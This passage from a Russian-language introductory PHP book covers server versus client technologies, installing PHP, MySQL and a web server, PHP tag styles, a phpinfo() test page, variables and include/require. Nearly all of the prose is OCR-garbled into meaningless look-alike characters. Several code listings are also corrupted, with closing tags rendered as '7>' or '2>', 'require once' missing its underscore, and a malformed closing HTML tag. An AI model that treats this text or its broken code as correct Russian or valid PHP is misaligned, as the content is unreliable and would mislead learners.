10/1b30BaTh B cBOMX UessX. Ho 31o To/bKo eciu Bbl Oynere pacnpocTpaHsiTh CBOU
cueHapuu. [Tonb3oBaTenu Ballero caifTa He CMOIYT YBHIETh MCXOIHBIH KO, Mo-
ToMy uTo B Opayaep nonagaer Tonbko pesyiabrar uan HTML-nokymenr. Ecnu Bbi
XOTHUTE 3AIIHTHThL CBOIO COOCTBEHHOCTh, MOXKHO BOCMNONB30BATHCS TPUHYINTETE-
HOM KOMTTMJISUHEId.

1.5. CepBepHbIe U KNNEHTCKNEe TeXHONOoruu

B uacrosiiiee BpeMsi CYLIECTBYET MHOXKECTBO KIMEHTCKUX U CEpPBEPHBLIX TEXHO-
Jgoruit g nocrpoenus Web-crpanuu. KineHtckue TeXHONOTHH BBIMTOMHSIOTCS B
Gpayaepe (JavaScript, VBScript, Java-annnerst, DHTML u 1. 1.), a cepBepHbie
obpabarpiBaer cepsep M Bosppauaer kaneHty tonbko HTML-kon (Perl, ASP,
PHP). flapik PHP He orpannuusaer Bac U NMo3BojsieT ¢ JErKOCTLIO UCIONb30BaThH
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KITMEHTCKUE TeXHONOrMu coBmecTHo ¢ uHerpykuusmu PHP. Ho crout im ux uc-
nonbp30BaTh 6e3 ocoboit HatobHocTH? S Mymalo, YT HET, U 3TO MBI CEHYAC YBUANM.

PaccMOTpHUM KITHEHTCKYIO TeXHoNoruio Ha npumepe JavaScript. Ecnu Bbl Bynere
MCTIOMB30BaTh 9TOT KOI B CBOMX IPOEKTaX, TO HET FApaHTHH, YTO cTpaHuua Oyner
orobpaxeHa B mobom Web-6paysepe. Hekotopeie He nmoiiepXuBaloT 3Ty TEXHO-
JIOTHIO, @ TaM, TIe ecTh MOAAEPXKKa, MOJb30BaTeNN MHOrIA oTKIo4aT JavaScript
B uensix GesonacHocti. Takum obpa3zoMm, Balia crpaHulia Moxer otobpaxarbes
HEKOPPEKTHO, M 3TO BBI30BET JIMIIHUE MPobieMbl ¥ MOCeTHTENEH.

He crout ucnonb3osars JavaScript, eciidi OH He MPUHECET PEAIbHOW BbITOAbI.
Hamuoro ny4mie OyaeT BO3JIOXHMTH BBITIOJIHEHME STHX ONEpaluii Ha cepsep,
M TOrja Batll caiiT Oyaer npaBuiabHO otobpaxkarscs B 10bom Gpaysepe.

KJIHeHTCKIe TeXHONIOTHH He MOTYT COGMMHAThLCs ¢ 6a3aMu IaHHbIX U (HOPMUPOBAThH
HTML-kon nis ynobHoro orobpaxenusi U Bocripusitusi mudopmaunn. OHM, cKo-
pee, NpeHASHAYEHBI VIS NpUAAHMS CaliTy npHBiekatebHocTy. CepBepHbie TEXHO-
JIOTMM MCTIONB3YIOTCS ISl AMHAMMYECKOr0 CO3AHMA CTPAHHMIL U OTOGPAKEHHs HX
nons3osarento. Kak Mbl yxe 3HaeM, 31a paboTta HEBHIMA [UTS TTOJIB30BATEIs.

1.6. YctaHoBka PHP

lpexae 4emM npucTynuTh K nporpammuposanuio Ha PHP, nyxho ob3asectuch
HEOOXOMMMBIMH CpeicTBaMu sl paspaborku u tectuposaHus. [Uig Hanucauus
PHP-kona MOXHO HCIOAB30BaTh Aaxe rpocroit BiokHOT, XOTs creuHatu3upo-
BaHHad cpena pazpaborku Oyaer HaMHOro yinobHee.

Ilna TecTHPOBAHMS OMUCHLIBAEMbIX NPUMEPOB Heobxouum Web-cepsep, KoTopbiif
6ynet obpabareiBaTh Haluu sarpockl, U nporpamma PHP, koropas Gyaer obpaba-
ThiBaTh cueHapuu. Ecnu y Bac BeinenenHas aunus B UHrepHere U HeorpaHU4eH-
HBIA TpaMK, TO MOXHO BOCIOJIb30BAThCA YC/IyraMu KOMIAHHK, MPenocTaBIsio-
wei yeayrn Web-xoetunra. Takux KoMmmauuii ceifuac JocTaTo4HO MHOIO
1 GonbuinHCTBO U3 HMX noaunepxusaetr PHP, Ho yauie Bcero ata yenyra niarHasi,
W 1IeHa 33aBUCUT OT CITMCKA TIPENOCTABJISIEMBIX YCIYI W pasMepa BblIEJISIEMOro
JIMCKOBOTO TPOCTPAHCTBA.

Momumo PHP uam ewe monanoburcs 6asa nanusix MySQL, rotomy 4to B HeKo-
TOPBIX OyIyILIUX MPUMepax Mbl OyleM MCMOJIb30BaTh ee Ul CBOMX MPOeKToB. DTa
0a3a jaHHBIX fABNAeTcs Haubosee pacnpocTpaHeHHoi B MHTepHere, U ee Takke
nojepKuBaeT GoNbIIMHCTBO KoMNaHuil, npegocrasnsiomux Web-xoctunr.

Ho ecnu y Bac npo6sieMbl ¢ WHTEPHET-COEMHEHHEM WIH TpadMKOM, TO HAMHOIO
BuIrojiHee Gymer MCMoNb30BaTh BO Bpemsi paspaborku nokaibHble Bepcun Web-
cepsepa, PHP u MySQL. Toraa nocne 3aBepiueHusi paspaboTKi BaM HOCTATOMHO
OyleT 3aKayaTh Bce M3MEHEHHUs HA CepBep M OTIaXWBATL OKOHYATEILHBIH BAPUAHT.

B cnyyae ¢ pa3paboTkoii Ha JIOKATBHOM KOMIMBIOTEPE TECTHPOBAHWE MOXeT yc-
NOXHUTLCS, Bol moymkHbl GyneTe OTIANUTL U MPOBEPHUTH HA OIINOKHK Bee cleHa-
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PHM HA JTOKAJIbHOM KOMIMbLIOTEPE, a MOTOM yXe Ha cepgepe. [lpu mepeHoce roro-
BhIX ailyIoB HA cepsBep Bbl AO/KHBI NMPOBEPUTH CLUEHAPHUU W Ha Be3onacHOCTb.
Korna Ber paboraere ¢ IOKa/lbHOW KOMMEl, TO ee NMOBENEHNE MOXET OTINYaThes
OT CEpBEPHOro BAPHUAHTA, MMOTOMY YTO MOTYT OLITE OTIMYMS B HACTPOIKAX MHTEP-
nperaropa PHP.

Hrak, npexne 4yeM NPUCTYNUTh K YCTAHOBKE, BaM MOHAN0OMTCS MOCETUTHL cie-
OyIolKe TpH caifTa:

http://www.php.net/downloads.php — 31ech MOXHO cKkavarh nocneaHiow Bepcuio PHP.

http://www.mysql.com/ — 31ech MOXHO cKayaTh MOCJIENHION Bepcuio 6asel maH-
Hbix MySQL.

http://www.apache.com/ — 31ech MOXHO HalTH NOCHENHIOW Bepcuio Oecnnar-
Horo Web-cepsepa Apache.

A He Gymy TpaTMTh MHOTO BpPEMEHHM Ha OMMCAHUE MpOLECCA YCTAHOBKU, TOTOMY
4yto 06a NpoIyKTa JIErko yeTaHaBIuBaloTes Ha ool maardopMe ¥ MocTaBIsior-
Cfl ¢ AOCTATOMHO MOAPOOHBIMH MHCTPYKLMSIMM 110 YCTAHOBKE M Hactpoiike. Eciu
Bel paGotaere mox Linux, To, ckopee Bcero, BCe 3TH MPOAYKTHI YXKe BCTPOEHBDI
B AMCTPUOYTHB, M HAIO TOJBKO yGEaUThbCs, YTO OHM YCTAHOBJIEHBI M 3aNylUEeHbl.
Ecnu Her, to MoxHo ycraHosuth PHP u MySQL ¢ maucka muctpubyrusa Linux
WK CKA4aTh MOCIEAHIOW BEPCHIO ¢ BBIILIEYKA3aHHOTO canTa.

Ecin Bbi paboraere nox Windows, 1o B kauectBe Web-cepsepa MOXHO MCMONIb30-
Bathk BerpoeHHbi B Windows 2000/XP cepsep MS Internet Information Server.
OH BrioJiHE MPOCT ¥ MPUEMJIEM [UTs TECTHPOBaHMA Bamux npuwioxennit. Ecim so
Bpemst ycraHoBkn Windows Bel oTkasaiuch oT ucnonb3oBaHusa IIS, To Boiiaure
B HACTPOIfKax CHUCTEMBbl B NaHelb YCTAHOBKA M yAajieHHe nporpamm, Beibepure
Komnonentst Windows u ycranosure komnoneHt Internet Information Server.

IMox Windows ycranoska PHP npoucxogur npu nomottn npoctoif nporpammst. [lo-
Clle 3TOr0 OH TOTOB K MCMonb3oBaHuio. JloctatouHo nomectuTsh aiiiel CleHapuen
B Marnky, Koropas wucnoabsyercs Web-cepsepoM it XpaHeHMsi OnyOnMKoBaH-
HbIX (baitoB, M 3arpy3uTs ux B Opaysepe. Tlo ymomuanunio IIS mcrnonsayer manky
Inetpub\wwwroot Ha cucreMuoM aucke. Ecnu nomecTuts paiin B 31y narnky, To Joc-
TatoyHo Habpare B Gpaysepe ampec hittp://127.0.0.1/filename.php (filename.php —
1M haiia clieHapusl), M Bel YBUIUTE pe3ynbrar paborsl daiina cueHapusl.

JIngHo y MeHsi coxpaHuicsi crapeii kKomrbiotep Pentium IIT (566 MT'u), koto-
PEIIL 51 MCTIONB3YI0 B KayecTBe AomaiuHero cepsepa. Ha Hem ycraHosnena Linux
(6raro ee MoXHO ycraHaBiuBath GecrutatHo) Bmecte ¢ Apache, MySQL u PHP.
DroT BapMaHT ouyeHhb yinobeH, eciu Bbl ymeere paborars ¢ OC Linux, 4to ciox-
Hee, ueM pabota ¢ Windows. Ecnu Her, To Npuaercs mOTParuTb HEMANO BpeMeHU
Ha usydyeHue Bcex ToHkoceteil aroit OC U ee HacTpoek.

Bosnee nonpobHo Ha yeranoske PHP g ocranasnmusatsesa He Gymy, noTomy 4TO
OHA XOpOLIO OnucaHa Ha opMIMAIBHOM caifte nmporpamMmel. B MHTepHere Taxoke
JIOCTATOYHO MHOTO crateif Ha Temy yeraHoBkH PHP u MySQL.
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OcHoBbl PHP

B 3roit rmaBe Mbl mo3HakoMuMcs ¢ ocHoBaMH Askika PHP n Hayuumcsi nucartb
npocreiiinue cueHapuu. Ham mpeacTouT 3anoXuTh (pyHoameHT, KoTopbili Oyner
MCIONB30BAThCS HA MPOTSKEHHH BCel KHUIM. YXKe B 3TOWM I/1aBe Mbl y3HaeM He-
KOTOPBIE CEKPEeThbl, KOTOPLIE MOMOTYT CAeNaTh Ball KO Jy4lle.

Jlaxke ecny BbI 3HAKOMEI C 3TUM SI3bIKOM, Sl COBETYIO BaM MPOCMOTPETH 3Ty IJIaBy.
BoamoxHo, Bbl noyepnHere msd cebsi yro-to Hosoe. B mobom ciyvae s cuuraio
MOJIe3HbIM Y3HATh MY)KO# B3IIs/L HA 3HaKoMble Belld. KoHeuHo xe, i Maio HOBOro
MOTY paccKasarh OIBITHOMY nporpammucty o6 ocHosax PHP, Ho Hekoropble coBe-
Thl M3 MOEI'0 JIMYHOI'O OTBITA MOTYT OKA3aThCsl MMOJIE3HbIMH.

Wrak, HaM nMpeacTouT y3HaTh, Kak nuiiyres mHerpykunu PHP, uro takoe nepe-
MEHHBIE, Mbl MO3HAKOMUMCS C JIOTMYECKMMM onepatopamu M oOcyaum, Kak
MOJKHO YMPAaBJIsATh BLITIOJTHEHMEM MTPOTPAMMBI.

Sl nocrapaiochk cueaarb ONMCaHue MAKCHMAIBHO YBJIEKATejIbHBIM, XOTS Ha JaH-
HOM 3Tane 3710 Henpocro. HenmoaroTosneHHbli YnTaTeIb HOMKEH CHAaYyaia ycBoO-
MTb 3TH OCHOBbI, 6€3 KOTOPBIX Mbl HE CMOXEM HAuaTh MMHUCATb MHTEPECHBIE MPO-
rpaMMbl. A TAK Kak TPUMEpOB TMoHayany OyIer Mano, ONHUCAHWE MOXET
MOKa3aTbesi CYXMM M 3aHYAHBIM. Sl clenaio Bee, YTOOBI Bbl HE 3aCKYHaH.

UYrobbel MaTepuan jy4lle 3aMOMUHANICA M MHTEpecHee GbUIO YMUTATh, 5 PEKOMEH-
Iyl0 BaM CAMOCTOSITEJIbHO co3nasarh (hailiibl CLeHApUeB W MPOBEPsATh pe3yabTar
pa6orsl. Tonbko TAK Bbl HaGepeTe AOCTATOMHO OMbITA M JIYMILE 3aMOMHMTE M3Ja-
raeMblii B KHUTE Marepual.

Wrak, npucrynaem k osnee rayboKoMy 3HAKOMCTBY € OJIHUM M3 CAMBIX WHTEpec-
HBIX M MOILHBIX S3bIKOB niporpamMmuposanns Web-caiitoB — siseikom PHP.

2.1. PHP-nHcTpyKUMN

Kak sl yxe sHaem, PHP-uuerpykumu muwyres npsmo B HTML-noxymenre.
Ho kak Web-cepsep onpenensier sBHyrpu HTML-gokymenta PHP-xon, kotopstit
Hago seinoaHuTe? Kak ornenuts PHP or HTML? Oyens npocro. C nomoliibio
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CINECLHATBHOIO COMALICHUSA Bbl YKa3biBacTe, rAe HaYHHAETCs M 3aKaHYMBACTCH
ko1. Bece ocransHoe ocnipuHumaercst Kak HTML-nokymenr.

Yaue Bcero wis obosHayeHus Havyana U KoHua PHP-uHcTpykumi Mcnoibayercs
hopmar:

<?php

xon PHP

7>

Bcee, uto pacronaraercsi MeX1y TeramMM <?php WU 7>, BOCIIPHHHMAETCsl CEPBEPOM
Kak PHP-kox u obpabarbiBaercsi coorBercTByollMM obpaszoM. Bce ocranbHoe
BocripuHumaercs kak HTML-gokyMeHT u nepegaercss KineHTy 6e3 M3MEHEHMId
1 obpabarniBaetcst yxke B Gpaysepe.

Dror dopMar Haubosiee NpeanoYTHTENIEH, U B 9TOM Clly4ae Bbl MOXeTe ObITh yBe-
peHsbl, yTo oH OymeT KoppekTHO obpaboran cepsepom. HecMotpsi Ha 910, BB MO-
XKETe UCMO/b30BaTh M APYrHe BAPMAHTHLI, KOTOPbIE MOMIEPXKUBAIOTCS B HAHHBII
momeHT. Ho BBl IO/KHBL OoTaBaTh cebe OTYeT, YTO TOABKO Teru <?php M 7> OyayT
rapaHTHPOBAHHO MOIEPXKUBATECA BO Beex Bepcusix. Ilojamepxka ocTanbHBIX Ba-
puantos orpaHuuenuss PHP-kona moxer 6biTh npekpaieHa wiv Oyner Mcrnonb-
30BaThCsl € OTPAHMYEHUSAMH B Jii06oit M3 Gynyumux Bepceuit. Toraa Mbl CTONKHEMCS
¢ HebXoAMMOCTBIO MepernHchiBaHusl Beex cueHapues. Ecan y Bac ux mano, TO 310
ele He CTpauiHo, HO ecliM Bbl co3nanu Oonburoi caidt ¢ MHoxectBoM PHP-
(paiinos, UX pelakTHpOBaHUe MOXeT CTaTb NpobieMoil.

HUrak, paccMorpum apyrue sapuanthl Bbiiesednss PHP-koga. Cambiit koporkuit
TAKOM:

<?

Kon PHP

>

Urobel cepBep pacno3Hal Takylo (opMy 3amucH, clIelyeT BKIYUTE MOMIePKKY
co cropodsl PHP. s 3Toro HyXHO cKOMNMJIMpoBaTh MHrepnperatop PHP
C OnuMei --enable-short-tags win B daiie php.ini (daitn Hactpoek PHP)
U3MEHNTH 3HAYEHME MapaMmerpa short_open_tag Ha on. Bropoii Bapuant MeHee
MpeanoYTHTEIEH, MOTOMY 4YTO mapaMeTp short_open_tag JIYYLIE OTKIOYATH,
uHaye BO3HMKHYT npobaemsbl ¢ pacnosHaBanueM XML, T. K. HeKoTopbie Teru
XML MoryT BeI3BaTh KOH(DIUKT.

Hanubeii popMar peiko UCTONBLIYETCH NMPOrpaMMUCTAMHU, MOITOMY B HEKOTOPLIX
nporpamMmMax st paboTsl ¢ IMOACBETKOM CHHTAaKCcHUCAa 3TOT BapHaHT odopMIEHUA
HE ONpeneiiacTCA.

Sl He peKOMEHIYI0 MCHOJNB30BAThH TEr <? ?>, MOTOMY YTO OH MO3aMMCTBOBAH M3
SGML u moxeT BbI3BaTh MHOXKecTBO KoHgumukToB. K ToMy Xe, cLeHapuu MOryT
paboTaTs Ha BallleM JIOKATbHOM KOMMBIOTEPE IMpPaBHJILHO, @ TMOC/e 3arpy3kM Ha
cepBep BO3HUKHYT mpobiembl, eciii HeT cooTBeTcTBywoweit nomnepxku (PHP
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CKOMITMTUPOBAH O€3 COOTBETCTBYIOLIEH OMNUMK, WIM HET HYXHOro Hapamerpa
B INI daiine). A naxe pexomeHAYI0 OTKIIOYUTH BO3MOXHOCTH MCIOJIL3OBAHUS
KopoTKoro odopmieHust koaa, yTobbl MpH ciydaiiHoM €ro npuMeHeHWH BbiaaBa-
Jach olwKbKa,

Cnegyouuit THIT 3aNHCH BRIDISAIUT TaK:
<%

Kon PHP

%>

3TOT BAPHAHT HEMHOTO MPOLIE, YEM MEepBLI, HO JaHHbBLT THI od)OpMIEHHS KOla
npunsit B ASP. Takum obpaszom, cepBep MOXET MOMBITATBCS OMAMH W TOT Xe KoI
obpaborark pasHbiMu uHTeprperatopamu (ASP u PHP), uro ToXe MoXer Bbl-
3BaTh HEXeNaTelbHEIE KOH(MIUKTHL.

Camslit rpoMo3aKuii cnocod — ciaemyolmi:
<SCRIPT LANGUAGE="php">

Kon PHP

</SCRIPT>

Jantsiii opmar odopmieHust MOXoxX Ha NpHHATbHIE cornaiienus B daitnax pas-
metkn HTML, HO oH c/tuiikoM HeyaoOHbINH, MeHee YHTAeMblid M TaKKe MOXKeT
Bbi3BaTh KoHdnukrel. B nanHoMm cnyyae KoHGIMKT MOXKET BOIHUKHYTL M3-3a Ba-
wei  caydaitHoW  olwmMOKM, €cllM  BMECTO  LANGUAGE="php”  HalucaTb
LANGUAGE="VBScript”. DTO TOXe BepHas 3anuch, HO B 3TOM ciyuae Kon Oyner
BOCTIPUHUMATLCH KAk cueHapuii Ha ga3sike VBScript u Oyzer nepesas Ha KIHEHT-
CKWIf KOMIBIOTEP, TIE €ro NonbTaeTcsi pacno3Harh Opaysep.

Jasaiite nompobyem uro-Hubyas Hamucars Ha aspike PHP. TNepsoe, ¢ yero Mmox-
HO HayaTh, — HAanewaraTh Kakoii-mubo rteker M y3Hath MHpopmauuio o6 ycra-
HOBJIeHHOM Ha cepsepe uHrepnperarope PHP. [nsi sroro coznaiite daiin
information.php co eneayoumm conepkuMsiM (inetunr 2.1).

T YT
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<HTML>

<HEAD>

<TITLE> Test page </TITLE>
< /HEAD>

<BODY>

<?php
print("This is information about PHP<P>");
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phpinfo() ;
2>

</BODY>
<HTML>

K Mpumevyanne }

McxoaHeih Ko M3  numctudra 2.1 Bbl  MOXeTe Haitm B chaine
\Chapter2\information.php Ha komnakT-gucke, npunaraeMom K KHure.

3arpysure ¢ nomouibio FTP-xiueHta ator aitn Ha sawr Web-cepsep uiu
MOMECTHTE B MANKY CepBepa HA JOKAIBHOM IMCKE, E€C/iM Bbl MHCMOJB3Yere
JIOKaIbHYIO BepcHio, Temeps 3arpysute ¢aiin ¢ nomolubio Opaysepa. Ecim ebi
nomectuiu ¢aiil B KOpHEBO# Kataior cepsepa, To B anpecHoi ctpoke Gpaysepa
HyXHo Habpats http://www.server.com/information.php, rze server.com — 370
MMSI Baulero cepsepa. B ciyuae ¢ JIOKQTbHBIM CEPBEPOM MOXHO YKasaTb

http://127.0.0.1/information.php. Pe3aynbrar BeIMOJHEHHS CLEHAPHUs MOXHO YBH-
etk Ha puc. 2.1.

2} Test page - Microsolt Inter \1tkv.llll

This is information about PHP

Puc. 2.1. Peaynbrat BoiBoga MHdpopmalm o PHP
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Taxoit cueHapuit yaule Bcero UCMONBIYIOT Uil TECTHpOBaHuUS pabotocriocobHo-
¢ty ceppepa, npaBuiabHocTH ycraHoBku PHP u nonyuenus napamerpos. Pac-
CMOTPUM, UTO €CTh B JAHHOM cleHapuu. Mexury TeraMu <2php M ?> Pacroioxe-
HBI IBE CTPOYKH KOMaHI:

print ("This is information about PHP<P>");
phpinfo() ;

B nepsoil cTpouke Bbi3biBaeTcs (yHKUUA print (). C moMourkio a1oil GyHKUMH
MOXXHO BBIBOJIMTH B OKHO Opaysepa Kakoii-Hubyub Tekcr. Kak mbl yxe 3Haem,
IUTSl BBIBOJA ITPOCTOrO TEKCTa mAoctarodHo ucnojib3zoBate HTML, Ho B gaHHOM
clydae 5l XOTeJl MoKa3aTh, Kak 3To aenaercs ¢ nomoiubio PHP-bynkunii. B nans-
HeillieM Mbl MO3HaKOMHMMcs ¢ 3Toif (yHKuMel Gonee nompobHO, a MoKa jgocTa-
TOYHO Oy/IeT OCHOBHEIX CBEIEHUIA.

Jliobass PHP-¢yHKumsi MOXET mnojiyyarbh Mapamerpsl, KOTOpbie YKasblBAIOTCH
B ckobkax mocie uMeHH (yHKuMH. i QYHKUMU print() B ckoBKax HYXHO
yKa3aTh TEKCT, KOTOpBIM HO/DKeH ObiTh HaneyaraH B Opaysepe kiueHra. Tekcr
3aKJioyaeTcss B JABOMHBIE WIM OQMHAPHBIE KapbiuKu. [locMoTpuTE Ha TEKCT, KO-
TOPBI MBI YKa3aiM, W Bl yBHIHTe, uTo B KoHue crour HTML-ter <p>, koTtophlit
coorBeTcTBYeT KoHLy naparpacda. Takum obGpazoM, TeKCT MOXET MATH BrHepe-
Meuky ¢ HTML-teramu, u ero MoxHo dopMarupoBsars.,

Bo Bropoii cTpouke Bhi3biBaeTcA yHKUMA phpinfo (). OHa orobpaxaer B Gpay-
3epe ordhopmaruposaHuyio uHdopmauuio o PHP, kotopyio Bel U Moxere Habiio-
ngath (eM. puc. 2.1). dnsa stoit GyHKUMH He HYXHBI MapamMeTpsbl, MO3TOMY B cKO6-
Kax HMYEro He yKa3aHo.

lMpu co3apnanuK CTPAHMLL Bbl B 06O MOMEHT MOXETe MepeKIouaTscs MEXIy
pexumamn PHP u HTML. Tounee ckazars, B ni0boe mecro HTM L-nokymeHra
mMoxHo Bctasnsith PHP-koMaHmbl, Kak nokasaHo B 1McTUHTE 2.2,

<HTML>

<HEAD>

<TITLE> Vision </TITLE>

</HEAD>

<BODY>

<P> Hello

<P> <?php $i =1; print("This is PHP");?>
<P> i = <?php print($i) ?>

</BODY>

<HTML>
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(I‘Ipumeqa-l-_lﬁ;a— }
WcxoaHslil ko us nuctuHra 2.2 bl MoxeTe HainTu B chaine \Chapter2\info.php Ha
KOMMaKT-aAucke, npunaraeMom K KHuUre.

B mannom npumepe ase crpouyku comepxar PHP-kon, a ocramphbie — HTML-
kod. Bl Moxere BeramisTh yyacTKH Koja Ha sassike PHP Tak yacto, Kak Bam 310
HY)KHO.

Ho 210 eute He Bce. B nepsoii crpoke PHP-kona msl obbsiBAsieM nepeMEeHHY0
$i, kortopasi Oyner pasua |. Yro Takoe nepementas? Ha nanHblii MOMeHT Bam
JAOCTATOYMHO MOHHUMATL, 4YTO 3TO sAveka (HJ'IH oﬁnacn) naMAaTH i XpaHeHWH
ornpe/le/IeHHBIX 3HAYEHWH (Yucen, CTPOK U T. ., € KOTOPEIMH MOTOM MOXHO IpO-
M3BOAUTE BEIYMCIEHWS! WK apyrue aeictsus). Mmena nepeMeHHBIX HaunMHaIOTCS
¢ cumBona $. Mrak, Hamwia sideiika mamsaTH Oyler HasblBaThCSl $i W colepXarh
3HaveHue |.

Bo BropoM yuyactke Koja MPOMCXOAWT MEYdTh COAEPKUMOro SUEHKH MamsTu
¢ UMeHeM $i. 3amycTHre STOT NMPUMEP, W Bbl YBUIWTE PE3yJIbTaT, MOKA3aHHBIH
Ha puc. 2.2.

Kak BumnTe, 3Ha4eHHe sAUYEHKM NaMATH $i HUKYIA HE HCYEIo M paBHO |,
HECMOTPSl Ha TO, YTO TIEPEMEHHAs CO3/aHa B OJHOM MECTe, 4 MCMOJIb30BwIACH
B IpyroM. Mbl cosganu maHHylo nepeMeHHyio B nepsoM yuactke PHP-kona,
a UCIOJb30BAJIH BO BTOPOM. Takum 06|J330M. NEpeEMEHHBIE COXPAHAIOT CBOM 3HA-
yeHHs Ha MpOTSHKEHHH Beero JokymeHTta. HemHoro mosxke Mbl IMO3HAKOMMMCS
C nepeMeHHbIMH nodIMxKe.

SIVésmn Ik_nuv lrat ll_\-:plcn_r : . i 5 : H["E.'.i
%slﬂamm _____ ol e ,,.|_m.=
Hello =
This 1s PHP
i=1
NS R L e =l
&] Done [ T e ntermet Y

Puc. 2.2. PeayneTar BeIBOAA COASPXUMOro NepemMeHHoin
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2.2. NopgknioveHue chaitnos

MHorokparHoe Hcnonb3oBaHnWe Kojia — BevHas npobnema wis J1oboro nporpam-
mucra. Korna mbl paspabarbiBaeM HOBBLA TIPOEKT, TO HaM abCOMOTHO HEUHTE-
PECHO pellaTh Te Xe NpobiaeMbl, KOTOpbIe ObULM YK€ pellueHbl Mpu peaju3atuu
apyroro npoekta. boeiio 6uI XOPOIIO MPOCTO BOCIMOJIL30BATLCS YKE WMEIOIIMMILCS
BO3MOKHOCTSIMHA.

Bbl, HaBepHoe, He pas cABIAMM O AMHAMU4Yeckux Oubnanorexkax Windows. BDro
OGubnuoTeku, B KOTOPBIX XPaHATCS pasnMUuHBIE pecypchl (KapTHHKH, HKOHKH,
¢opMBl IHANOrOBBIX OKOH, MEHIO W IIPyTHMe THUIbl PEecypcoB) W/WIM KOI Npo-
rpammbl. Jliobass nporpamMma MOXET 3arpy3uTh 9Ty OMOIMOTEKY M HMCMONb30BaTh
ee conepxumoe. Hanpumep, OpenGL — rpaduueckas 6ubnnorexa, B KOTOpOii
xpausTes dyHKUuH Wi cosnanus 3D-rpadmku npakTHyecku n1060i CAOXHOCTH.
Jliobo#t nporpaMMHCT MOXKET 3arpysuTbh 3Ty DMOIHOTEKY B NaMaTh KOMMbLIOTEPA U
MCTIOJIb30BATh B CBOMX npoektax. Takum ofpasom, He Hauo Ui KaxIod Mpo-
rpaMMbl 3aHOBO MUcaTh KOA rpaduyueckux QyHKIMi, a MOXHO BOCIOJL30BATHCS
TEM, YTO YK€ XOPOLLO CIENAHO APYTUMH MPOrpaMMUCTAMM.

Junamuyeckue GUOANOTEKH MO3BOAAIOT HE TOJIBKO MCHONB30BATH OJAHH M TOT Xe
KOI B PasHbIX MPOEKTAX, HO M AEJNMTHCH MM C APYTMMM MPOrpaMMHCTaMH, Kak
MBI 3TO yBUAEAW Ha nmpuMmepe Gubauoreku OpenGL.

ITpn nporpammupoBanun Web-ctpanuu npobiema MHOTOKPaTHOTO MCMOAb30BaA-
HUSI Koja cTaHoBHTCA ellle Gosnee ocrpoii. Baw cailT MoXeT comepxaTh COTHIO
daiiyios ¢ KOIOM, MUCATE B KAXKAOM M3 HUX OJHHM M T€ Xe KOMAHIbl Heyno6HO u
HepaunoHansHo. Daiinel 6yayT noxyyarbest GOMBIIMMHM, 8 CKOPOCTh BLITOJIHEHMS
HE YBEJIMYHMTCH.

MuorokpatHoe ucnonbsosaHie kona B PHP pearuzosano vepes moakuodeHHe
(haitnos. TNMonknoyenue dailioB MOXHO BOCNPUHUMATE M KAk €lUe OIHH crnocod
Henpenuss PHP-koma B Web-ctpanuny. s storo ucnonbayercsi (QyHKIMs
include (), ¥ KOTOPO# €CTh YETHIPE PA3HOBHIHOCTH:

include('/filepath/filename');
include_once('/filepath/filename’);

require('/filepath/filename');
require once('/filepath/filename');

Bee ot dbyHKUMM MOAKIIOYAIDT yKasaHHBIl B ckobkax daiin. B npenbimymmx
pepcusx Obula HeGonbluas pasHULA B CKOPOCTH paboTel Mexay GYHKUUSAMH
include() /include_once() U require()/require_once(). B Hactosiuee Bpe-
M$1 CYILIECTBYET pPasHULA TOJNBKO B reHepupyembix oiiubkax. [lepsuie ase dyHK-
UMK 1pY OOHApYXXeHUU OMmMOKKU (HarpUMep, OTCYTCTBYET MOAKTIOMaeMblii aitr)
BBIIAIOT TNPENyNpexaeHHe M TMPOAOKAIOT BEINONHEHWE cueHapusi. PyHKUUH

2 3ax. 1315
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require()/require_once() BbUIAIOT cOOOLIEHHE O KpUTHYECKOi olnbke,
H naibHeliwas pabora npepsiBaercs.

Pasuuua mexny include() /require() W include_once()/require_once() co-
CTOUT B TOM, UTO Bropas napa (yHKUNI rapaHTHpyeT, 4To yKasaHHBbI daiin 6v-
JIET MOAKITIOUEH K TeKyuleMy (aitry Toibko oauH pas. MHoraa sto GeiBaeT Heob-
XOAMMO, YTOOBI ABAXIbI He MofKimioyaTh daltl ¢ KPUTHUECKH BAXHLIM KONOM,
KOTOpBIiA A0/MKeH GBITb TONBKO B eIMHCTBEHHOM 3k3emiuisipe. K TakoMy Koy
orHocatess PHP-dyuxkuuu (Mb1 ux OyneM paccMmatpuBath B JanbHellieM), Koro-
pble He JHO/KHbI ObITh 0ObsiBNEeHb! ABaXAbL. Eciv B MoMeHT moukitoueHus daitia
¢ MoMolLbI0 (PyHKUMI include_once() WIH require_once() OOHAPYXUTCS, YTO
caitr yxe noakioyancs, To Oymer crenepuposaHa daraibHas oluoka.

Ha nepssbiii Barsan, pyHKUNM include_once () WIM require_once() HE HYXHHI,
€C/IM B CLIEHApWH He MOAKIIoYaTh ABAXIb oauH 1 ToT Xe daitn. Ho ato ommubdka.
daiin Moxer OBITH MOAKIIOYEH HE TONLKO B Baiiem cueHapuu. Jdonycrum, uro
BbI nopkstiouaere daitel 1.php u 2.php. @aiisisl pasHblie U coAepXKaT pasHblif Ko,
A eciu B daiine l.php ectb noaxmoyenue caiina 2.php? B atom caywae, non-
witouas daiin 1.php, Bup asTomaTudecku nonkniovaere u ¢aitn 2.php, a eciu euwte
H saBHO 3arpysuTh ¢ain 2.php, 1o npousoiiner owrndka. Takyio omMBKY nerko
YBUOETh, €CMTH MCNOoAL30BaThL (YHKUUHM include_once MHIM require_once.
B nanHom ciyuae pocratouHo OyaeT nonkiouuTh daitn 1.php, a Bropoit daiin
Oyner 3arpyXxeH M3 HEro.

Kakie GpyHKIIMM M B KAKOM Cily4yae MCroib3oBath? Sl pEKOMEHAYIO HCIONB30BATE
require() W reguire_once() IS MNOAKIIOMeHHS ¢ailoB, colepxaulux kKoa
nporpaMMbl. B 3TOM cnyyae Bbl CMOXETE CBOEBpPeMEHHO OTpearupoBaTh Ha
olubKy npu HenpaBWIbHOM noaknoueHun. Hekoropeie nporpamMmuctsl 6oares,
YTO [0/1b30BaTE/Nb YBHAMT olIMOKY, HO 3TO0 HenpasuibHo. [opa3mo xyxe, ecnu
pai kox Oyaer paborath HEBEPHO M3-3a TAKOH OLIMOKM.

OyHKIMIO include () Jy4llle UCMOIB30BATH VIS MOAKIIOMEHUS YAcTel JOKYMEH-
ta. Hanpumep, B Hacroslliee BpeMsi €Tal pacrpocTpaHeHHbIM crocob neneHus
CTPaHULIBI HA TPM YACTH — 3arojiOBOK, MOMABAT M TelO HOKYMeHTa. 3aroloBok
